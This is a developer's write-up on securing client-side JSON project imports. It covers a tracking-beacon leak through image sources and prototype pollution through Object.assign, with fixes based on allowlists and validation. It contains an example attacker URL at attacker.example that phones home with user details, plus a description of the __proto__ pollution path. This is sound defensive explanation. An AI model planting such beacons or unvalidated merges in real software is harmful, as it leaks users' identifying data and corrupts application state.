How to Secure Client-Side JSON Imports
The vulnerabilities weren't in the rendering logic or the canvas code; they were all tucked into the project file loading function.
1. The "Phone Home" Leak
The tool saves project state as a
.json file. I expected these files to only contain base64 data URLs for images. However, since JSON is plain text, anyone can edit it.// The original vulnerable loader
DEVS.forEach(dev => {
const src = sd.img && sd.img[dev];
if (src) { const im = new Image(); im.src = src; }
});If an attacker replaces a base64 string with https://attacker.example/beacon.png?id=abc, the browser fetches that URL the moment the file is opened. The attacker now has the user's IP, User-Agent, and a timestamp. For a tool that promises "no tracking" and "local-only," this is a major breach of trust.
The Fix: Implement a strict scheme allowlist using a regex to ensure only data: URIs are processed.
const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }2. Prototype Pollution via Object.assign
I was using a common pattern to merge saved settings into the app state:
// The dangerous merge
if (d.style) Object.assign(state.style, d.style);The issue is the interaction between JSON.parse and Object.assign. While JSON.parse creates an object where __proto__ is just a normal property, Object.assign uses a setter that can actually overwrite the prototype of the target object. This allows an attacker to inject unexpected keys into the state.
Beyond prototype pollution, Object.assign is too permissive. It lets through invalid values (like massive font sizes or malformed colors) that can break the UI.
The Fix: Stop using blind merges. Use a "safe pick" approach where you explicitly define and validate every expected key.
function sanitizeStyle(r){
if (!r || typeof r !== "object") return;
const s = state.style;
s.bgType = safePick(r.bgType, ["gradient","solid","image"], s.bgType);
s.bg1 = safeHex(r.bg1, s.bg1);
s.titleSize = safeNum(r.titleSize, 0.01, 0.3, s.titleSize);
s.bgImg = safeImgSrc(r.bgImg);
}By switching to an allowlist of keys and validating the types/ranges of those values, __proto__ is simply ignored as an unknown key.
If you're building a local-first AI workflow or a browser-based utility, do a deep dive into any function that handles external file imports. If you're passing file-derived strings into img.src, fetch, or a.href without a scheme check, you've likely got the same hole.